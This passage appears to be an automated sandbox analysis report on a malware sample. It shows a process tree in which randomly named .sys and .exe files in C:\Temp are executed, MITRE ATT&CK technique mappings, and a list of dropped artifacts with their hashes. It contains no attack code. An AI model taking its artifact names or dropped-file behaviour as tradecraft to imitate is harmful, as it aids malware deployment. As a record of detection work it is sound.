  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,13099417752043957802,13304583718235995834,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:14
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5388,i,6779803232815327821,17655305808422411582,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
      4⤵
      PID:5272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,5281921974687804742,15166802944369216739,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
      4⤵
      PID:2576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,1002630816337284666,7091554074013035922,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=940 /prefetch:14
      4⤵
      PID:2416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,13276754680956258887,1518178585163778424,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:14
      4⤵
      PID:2384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6812,i,11091843399480712051,16716615146653571483,262144 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6804 /prefetch:10
      4⤵
      PID:3532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,1775995125258634150,9265497146680985402,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:14
      4⤵
      PID:4832

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:936

C:\Temp\omgezwrojgbztrlj.sys
C:\Temp\omgezwrojgbztrlj.sys
1⤵
- Executes dropped EXE
PID:2500

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:784

C:\Temp\toljdbztrl.sys
C:\Temp\toljdbztrl.sys
1⤵
- Executes dropped EXE
PID:2836

C:\Temp\ysqlidbvtn.sys
C:\Temp\ysqlidbvtn.sys
1⤵
- Executes dropped EXE
PID:5572

C:\Temp\gdxvtnlfdy.sys
C:\Temp\gdxvtnlfdy.sys
1⤵
- Executes dropped EXE
PID:3380

C:\Temp\tnkfdxnhfa.sys
C:\Temp\tnkfdxnhfa.sys
1⤵
- Executes dropped EXE
PID:5924

C:\Temp\xvsmkfcxus.sys
C:\Temp\xvsmkfcxus.sys
1⤵
- Executes dropped EXE
PID:2572

C:\Temp\zwupmhfzxu.sys
C:\Temp\zwupmhfzxu.sys
1⤵
- Executes dropped EXE
PID:5484

C:\Temp\hbztrmjebz.sys
C:\Temp\hbztrmjebz.sys
1⤵
- Executes dropped EXE
PID:3556

C:\Temp\omjebwuomg.sys
C:\Temp\omjebwuomg.sys
1⤵
- Executes dropped EXE
PID:3576

C:\Temp\geywqojgbw.sys
C:\Temp\geywqojgbw.sys
1⤵
- Executes dropped EXE
PID:5672

C:\Temp\qoigbytnlg.sys
C:\Temp\qoigbytnlg.sys
1⤵
- Executes dropped EXE
PID:3444

C:\Temp\vsqlidaysq.sys
C:\Temp\vsqlidaysq.sys
1⤵
PID:3528

C:\Temp\fdxvpnifax.sys
C:\Temp\fdxvpnifax.sys
1⤵
PID:4840

C:\Temp\xvpnhfaxsq.sys
C:\Temp\xvpnhfaxsq.sys
1⤵
PID:1128

C:\Temp\hfzxrpnhfz.sys
C:\Temp\hfzxrpnhfz.sys
1⤵
PID:4832

C:\Temp\mkezwupmhe.sys
C:\Temp\mkezwupmhe.sys
1⤵
PID:2044

C:\Temp\mgeywtrmje.sys
C:\Temp\mgeywtrmje.sys
1⤵
PID:5844

C:\Temp\qomgebwuom.sys
C:\Temp\qomgebwuom.sys
1⤵
PID:3028

C:\Temp\bytolgdbvt.sys
C:\Temp\bytolgdbvt.sys
1⤵
PID:2900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cxvpnhfzxs.exe

Path C:\Temp\cxvpnhfzxs.exe
Size 361KB
SHA256 a39f5571e4c5c16cf29fb6f0f68f38ba2e8e821086cb332c1920efdedb3d6642
MD5 52931b90973a406772fb1898d9e947a9
SHA1 9d21f34e7a72aec33283c260081d0a8b2e4c7fa9
SHA512 544a8450c291d230b54617bfa1c47eec842277eec8cf5985e7638e67fd73b6bf0016223b9f6c7ed5b0fde699220738e082bff173b4592dcef1b5318b20320806
SSDEEP 6144:WflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:WflfAsiVGjSGecvX
TLSH
T159747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdxvtnlfdy.sys

Path C:\Temp\gdxvtnlfdy.sys
Size 293KB
SHA256 ba59f75314b2b9037c02896ba4fe0c05047cb297fb2b11ff95d4cff53e2b153c
MD5 68c01d08489e482cefb89eb000190dd6
SHA1 759da690370563dd84bf89e2c5169d2c81ea9306
SHA512 fe64f49ee4e2dd1356981592d1a2bd63db149e63b2bc47ae3831a266da480636bc877ae8158fe7376eef1b04bad48717ee7b2c161cd690e9aacd9a2a4c1d9fad
SSDEEP 3072:2tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:2IJjiJcbI03GBc3ucY5DCSj
TLSH
T1C2545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_cxvpnhfzxs.exe

Path C:\Temp\i_cxvpnhfzxs.exe
Size 361KB
SHA256 807143373c2e029fd50dc60681aa5c4ac6a4198183f32fae2271b48dfb3bfd3f
MD5 bd40f5493ffa470ae3fe1138f8e03749
SHA1 24d2bc21a8eb778330157d8ef71b89831227295a
SHA512 c1567b0ffd9b1a88b2178e53b387b44a56b2878572cb6a472b99e643af16b3716ac3d7ef842024dfc3ba056635111228b118d4ebd0fe1a247a021e4946a0609c
SSDEEP 6144:HflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:HflfAsiVGjSGecvX
TLSH
T198747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jgbztrojhy.exe

Path C:\Temp\i_jgbztrojhy.exe
Size 361KB
SHA256 d8a488a98ed9bce16d37911c24854b7073261e4fd37163e4ac87b615c7feda69
MD5 621a22970f84c54882e6a9a7ed2ab3cc
SHA1 b92b5eb4300fea3d331958c02f714eda504d7879
SHA512 3fedbb320cd53ea304728ccd5aaca0966a7e6ba734ac5285d288f59df472008772ec1ac543275ac8b2d0ac5fc43f95dc7049199614e693cf0f84148c4d44e1ec
SSDEEP 6144:iflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:iflfAsiVGjSGecvX
TLSH
T13B747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lgebwtolgd.exe

Path C:\Temp\i_lgebwtolgd.exe
Size 361KB
SHA256 bdbaddcab3807cef4bce6051fc9bc3f6901b8e34c49faab33dbe632c9f3eb550
MD5 bc8e77cc6e81f3cbab057476c55f880a
SHA1 ff9ada7757c9abfaf69bba5e33122c796a6a950c
SHA512 461eb600cbd7ac72ea98e8d75465c09b7d15f4296b209feeb96ea255a0cb1e8bfb48f3f0027882dc269b1c2e52e2dd3650388f2a5201b9bcfde803256accb04c
SSDEEP 6144:LflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:LflfAsiVGjSGecvX
TLSH
T199747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qlidbvtnlf.exe

Path C:\Temp\i_qlidbvtnlf.exe
Size 361KB
SHA256 8fc53766bf7da0075532a645114fb02448bf603bf64931d9fe8d6f1b4dd6794b
MD5 e1e160901f8e41d5543f1a099ac2110c
SHA1 cb71735bdddd48985b18f764f903e9a8d27cc2f4
SHA512 9b9d73ef52ca69a51bb246ac5d00ec1a3416d1f23f248e81b8a64cac8004bd03669860d84d362db79ce7315eb81f72338fa5d3e268a2eacff346da4f5bc904a1
SSDEEP 6144:PflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:PflfAsiVGjSGecvX
TLSH
T108747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xvtnlfdxvp.exe

Path C:\Temp\i_xvtnlfdxvp.exe
Size 361KB
SHA256 b19ee3638ac5ef8b6032fd9ae965081ee0f1fe4124697673bc9c0b5eeb8f5441
MD5 f23dc054fc1744ff8e6d8de54a5f0f43
SHA1 baa97d39ecceb1a39d7e47d29c542bc9d737537a
SHA512 98004c97dfdcdd37518190dae01eac907cef941dd2c73e353823d06aa207c1a00bb8cdc59bb9d90d54ca0f098e81233603fe6f7f2fa2c6264058706a11a64f46
SSDEEP 6144:TflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:TflfAsiVGjSGecvX
TLSH
T1CF747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbztrojhy.exe

Path C:\Temp\jgbztrojhy.exe
Size 361KB
SHA256 79ca7da6208b129552624862a6f205aac3b4ae7ee2b3296d0f6b2fe48678afea
MD5 d3e93c4e7d1194dd367eea1db7f84c2b
SHA1 010aa7efd92b44a3d2f2feeea914d305426ab4c4
SHA512 31fb308d48a8363e073e36fb147ab7884232cc19fe37860935b60c5508d8919623498078e7c5e741eea770439abcf2a4863abd4ad803c711e5b0c73951eaefa2
SSDEEP 6144:mflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:mflfAsiVGjSGecvX
TLSH
T16C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lgebwtolgd.exe

Path C:\Temp\lgebwtolgd.exe
Size 361KB
SHA256 9bf8faedbed54751bf4bdba2d94f882a6c4d2a1ab7001fb204543ec664046fdf
MD5 21281b56514e87a0e4839cd7fd247152
SHA1 0ed5e77577b65870c03756d4c136d61860a4b951
SHA512 437ba454a8dff1bc42cb03360f288074c4196cf9e1bff810fac3c9da3b3e174125b84fc3d1b6c867579ff60d32033d80fd89efd2489bf6cc2040e81ee59291df
SSDEEP 6144:9flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:9flfAsiVGjSGecvX
TLSH
T132747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omgezwrojgbztrlj.exe

Path C:\Temp\omgezwrojgbztrlj.exe
Size 361KB
SHA256 0418c7ba34e0919138f55ee9b49fe3478cd14b447df1851a4a556df50ae9c811
MD5 3fb50d6c811281cb5c211b50205221d2
SHA1 42a79002d8bf1f2121ba78bd95fcd37c745aea8f
SHA512 b07175fe318cda16f7086086ed1c2a3554ce1c8c0b6474401ca8f606cd3ac859033fc48aefcb0f3f88d55c57112a3b4b8505041a2c924d4cccd07c3eccfc2dd3
SSDEEP 6144:gflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:gflfAsiVGjSGecvX
TLSH
T18E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omgezwrojgbztrlj.sys

Path C:\Temp\omgezwrojgbztrlj.sys
Size 293KB
SHA256 f7d0ccaeca6eaa95f2e6c975060f70e7fd523cab97b4244bf2ac4015cc05b3b1
MD5 8ee483507741caaa899e61c9a83d2415
SHA1 a48a9220dcff5a8d8c078c32c3f84a7db8157e2d
SHA512 09567262fa1d385cc566135055571f9a7646a0ac1c1ee9001c5690fa0176a67e6753cc298427713147aa7ddc3a516eb4819b46e4e5cd0ab9c9eb49eb7455e505
SSDEEP 3072:jtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:jIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D0545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pfzxspkhfz.exe

Path C:\Temp\pfzxspkhfz.exe
Size 361KB
SHA256 bb475c28d34de69aa7e294f92273ad961410f7e79266d5dff5084b9eb89cdcec
MD5 041ca1536a565002108371dc427d7fa9
SHA1 b89b2f84cc3ff16b7cc0f10ab0bec3f0433ae041
SHA512 d2ad0557209f898e3013de023e09c9309dbe4dea0241e382b2559ca16b4613923d61973076c281cddbd7eea22b57a33f453b34e93c8f25fc66e88983da14e46f
SSDEEP 6144:AflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:AflfAsiVGjSGecvX
TLSH
T1A3747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qlidbvtnlf.exe

Path C:\Temp\qlidbvtnlf.exe
Size 361KB
SHA256 4f5b415ed2d4ffeb62a69f96757f0a56e70130c96a0c2923c172679ad7e2299e
MD5 f3c8edda8dfd93ceab1ee8797618158f
SHA1 b2f9869839529d8599c5e051bff1105cf8b70cde
SHA512 bca5ccadf1bfa8f7e9eb1a2049ca262b5d8d53be54b6bed7b1c770f86f5f9bbc3dcc339ab5117ea5558c80225fe21d9a6b4d94497fe9da7c94458b88dc9ef794
SSDEEP 6144:bflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:bflfAsiVGjSGecvX
TLSH
T148747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnkfdxnhfa.sys

Path C:\Temp\tnkfdxnhfa.sys
Size 293KB
SHA256 6e9842d6ddc6244176b63bfaaa33eec811125e1de33945676fa4468c777479c7
MD5 40da4c94d1af682aa33daf575c68298c
SHA1 632c58bf5f6afee429d3a7b5f44d17d9888ba39d
SHA512 3192cce160eaae0e9a929c483ef86333f866955644d84bd3bdde93c18e0585ed2f63dc54d23ad04e68b37bcb18a9b33e80c4f04c5fa485610bfbd68872904da4
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T161545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

toljdbztrl.sys

Path C:\Temp\toljdbztrl.sys
Size 293KB
SHA256 1708e2fef8b8af4b9022c51e4988c3bd68c8dc62456c51cbdfb0be93b63d9e41
MD5 a70f023dc6a3489d6c78298c1d7a5c3a
SHA1 2e8e96787ffe4f574c9d4d3066de77c0e22293ec
SHA512 50a3acd5ee31e7e8cca2c83dfc045413636cc978131581a27a4f6a62b10acc3fd836c6eaaa1f3417ec4181f8ed31fdcdfdf3060245babd0ed8ed9e03781c626f
SSDEEP 3072:UtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:UIJjiJcbI03GBc3ucY5DCSj
TLSH
T1BE545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvsmkfcxus.sys

Path C:\Temp\xvsmkfcxus.sys
Size 293KB
SHA256 7b8d0f5a2377ba8583d11601f0c5b0934149815cbe4386282a4af83de7094442
MD5 8ac2b30951111316084a5c3f7c2d53e1
SHA1 c3a76e8a29d8373a1c03a5b60a32432a0ac49ce4
SHA512 d435f5adfdd6b0b130c526aba53f3d63825837f6382b1d229d15420a2d139644f96e0cdb9026b84bcf1850a2083b15494fb8b8e06b57e264a387705ae247d01a
SSDEEP 3072:8tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:8IJjiJcbI03GBc3ucY5DCSj
TLSH
T1DA545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvtnlfdxvp.exe

Path C:\Temp\xvtnlfdxvp.exe
Size 361KB
SHA256 05b96b0a2694a15663250fcbce432211f5375eb2ac3f279c5f00f8f28272c166
MD5 55ba1968596b1978920ca62893e2caae
SHA1 99f7d959e2ce9fb105adc5d292c6e515ce6ab6a5
SHA512 55c3b419c136aeab444bf5800f1f16c08fea8c464f620f2f95d272d67b031978d17b5ee27f8bb78713921d89bee0b208ca83fe5a7e853980620f1a310e20a452
SSDEEP 6144:KflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:KflfAsiVGjSGecvX
TLSH
T10E747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysqlidbvtn.sys

Path C:\Temp\ysqlidbvtn.sys
Size 293KB
SHA256 fb6407ecb0e6095831eb4ed0df3b94f960a8dd3d110e73eac005ff0ad3c25491
MD5 41a77b420faea48ba5889d678a4b6d9f
SHA1 ca05a6a8c97eea374466f3bced2697c2b5d8370e
SHA512 6feb021b47e0b9a48a7bc21220b32e6e9656db867c64cf2735e4f278ab3cf0c217dd4ee15f2d483bd5e869ef82c138951ae0317b1714bf18dfb4dae3cf17bb0a
SSDEEP 3072:JtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:JIJjiJcbI03GBc3ucY5DCSj
TLSH
T167545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 174576d263d17c1ded542f85fe22b729d39689265635c9c57a2bfd1af11bcb69
MD5 e54a3dd3758ae26f8eb9c7149476114c
SHA1 dd4159ecc029af9dd3da72970ac8bfa500a0651c
SHA512 eabda803f8f816ad2a6d57d3ce37f9c8cf72ef9a0a1ebecd6f39990ef65120d12a76e6ae5a2cb62c423511cbb36f0da6835b1dfa5907c5559c0ead5b0735873c
TLSH
T1E6D092757764A90CC9A5B0322CA7B29AA322A8300495860444E5F2A8CDB6A82567B5AE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2cfb77611c6372588cbb86850301c7d4d2a98bc9870148a0233cb9ff0ba848ae
MD5 30dd1402eab1adcd1b7a879da690d903
SHA1 5ad2617a2f54fb4647f217e450aa852cfab95912
SHA512 396e3e6a4f4d2b6cdab94a4fc9fcd07b5b3b76f067ce5666b89e9fb8d48b00e16fe2a2e9189c9d96e3f8d9d2f1a719132c8694f2859c94a22a5b7ecb4e74a3fc
TLSH
T1A3D02B343300650CC89070321C52B249532158300440420000D0B158CC7168102370AE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 6ee04a8a6005478004fd0fcd9e2f0583fec355c4cd2c5aa6a886cf3d964fdbe3
MD5 9ec9c9fa598050e58f41c5fe5f57041d
SHA1 01088c3328ecdb210303ddb0aeaa0543d1387c44
SHA512 1193230a042777793f78946b472fb580e8d7f6437ac8f1d5aec08bd96b42e76a9debea330a7554bad5f5eb1a96eb4108772b788ee29d7fc0813bf18c48afa854
TLSH
T10E51C950E3254FD3FB2581B214E22B9A71B25ADF09CBEE0C859045F9CCF330212D692C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59a474.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59a474.TMP
Size 3KB
SHA256 839f0ce18998025bcb404798853ab1a21258d140bce55f9beeec826dfafbfa81
MD5 d736c901cb3c407e2112fc2c3c570cb1
SHA1 978caace49c0d8d05bb0608a99c56b8dee5de834
SHA512 6b7fb9526826c4de027143055c904aa2cab013d55b6a79cf1a0d95a5e85b33e3e6370c12783f0a35c1b67cc1cc901a4a29bd614a07fe471b8c0d77c6a5d3da90
TLSH
T15651CA50E3254FD3FB6581B214E22B9A71B25ADF09CBEE0C859045F9CCF770252D692C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 ad8e2e533c83cc7b751a9f5d212d24a3e3efed2e56260fe2ddbb0a63126908b2
MD5 fcb5505512f321c654ebfdf15969ee0a
SHA1 54abf47a6a4a4e072bfa70b6594cceba4d655899
SHA512 068ad3f393ec739e04a05d423ef86fcafaeb938314af8ce2c91707d846ffe7a214e7064fab853f353be78f86c3dbb61aedd716c49cdfa3a9167dfa0f9d5256e1
TLSH
T12751CEF3C3E8866DD91156F0AB187E2BCE2D0954832C3D5AC8E4AF5B93E2471E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 9202f4b393b92122d81e32188971709f6af6f3a2472287a3a1445f849e3d8ef8
MD5 5dbace7c8e3e2fa3b21694d2708b2b6d
SHA1 efdd2d2fe944d325d6a9f95c44f92566fe861539
SHA512 57f7c768b2377eec263a8c7fa52c4c21a5ae11fccd7ffd349bc2458007bff15bd1b4470ea6e65fd907be07b0519f0d4cf5047235ba631b3ffb4ca4b58e93c951
SSDEEP 192:sxRCRJyM/jK1Ml8wCI/foszEc7ZyfnzoA8p9S/g6+WNIYtZIZl9WqSGAIgtJ:sxRC58I/foszz1eO4/5IsiDXG3
TLSH
T18752C815AA349977CCDBD20DFA557F53D6F81563A2900E44AAFCCA0C05E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 fc0a715f5aa7d987e2faa7565d00b8cb9a6bd1c78a5828a2ea1633818a6a162e
MD5 0cc923948109713222b1b8ef9a131eba
SHA1 c01eff1ce5976b4632058d6cf61a27000409c71e
SHA512 e46bd0319c55f7b2763a354ef8401503b8db8ad00937dd281072dae5b9e76547c6c50e561687b8c5b14b79c1f4da20b17d94a323d8f7af2277fdc9798a5d0007
SSDEEP 192:sxRNRJyM/jK1Ml8UQRCI/fos/Ec7ZyfnzoA8prS/g6+WNIYtZIfl9WqSGAIgDjJ:sxRN5qII/fos/z1eO2/5IsiNXGB
TLSH
T1D162C815AA349977CCDBD20DFA557B53D6F81472A2940E44BAFCCA0C05E76ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 7d58cb69d7a3aea30c250594910dea2e4cd721bff625aab5aa6cf1302bf1d0c6
MD5 5b2635723329a15b1d99aca0d0d734d3
SHA1 632e98e5f3a8e81352081be5bd47c415dc4b2b9a
SHA512 af2649864f89d0548c0f45967ec14390cd67c7cad0829d5458442db1eb4e17f82d3a3e742ac43935e35462657168b976d231b40cb49758036febe641c725a68e
SSDEEP 192:sxRNRJyM/jK1Ml8wCI/fos/Ec7ZyfnzoA8p9S/g6+WNIYtZIZl9WqSGAIgDjJ:sxRN58I/fos/z1eO4/5IsiDXGB
TLSH
T14662C815AA349A77CCDBD20DFA557F53D6F81472A2900E44AAFCCA0C05E76ED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

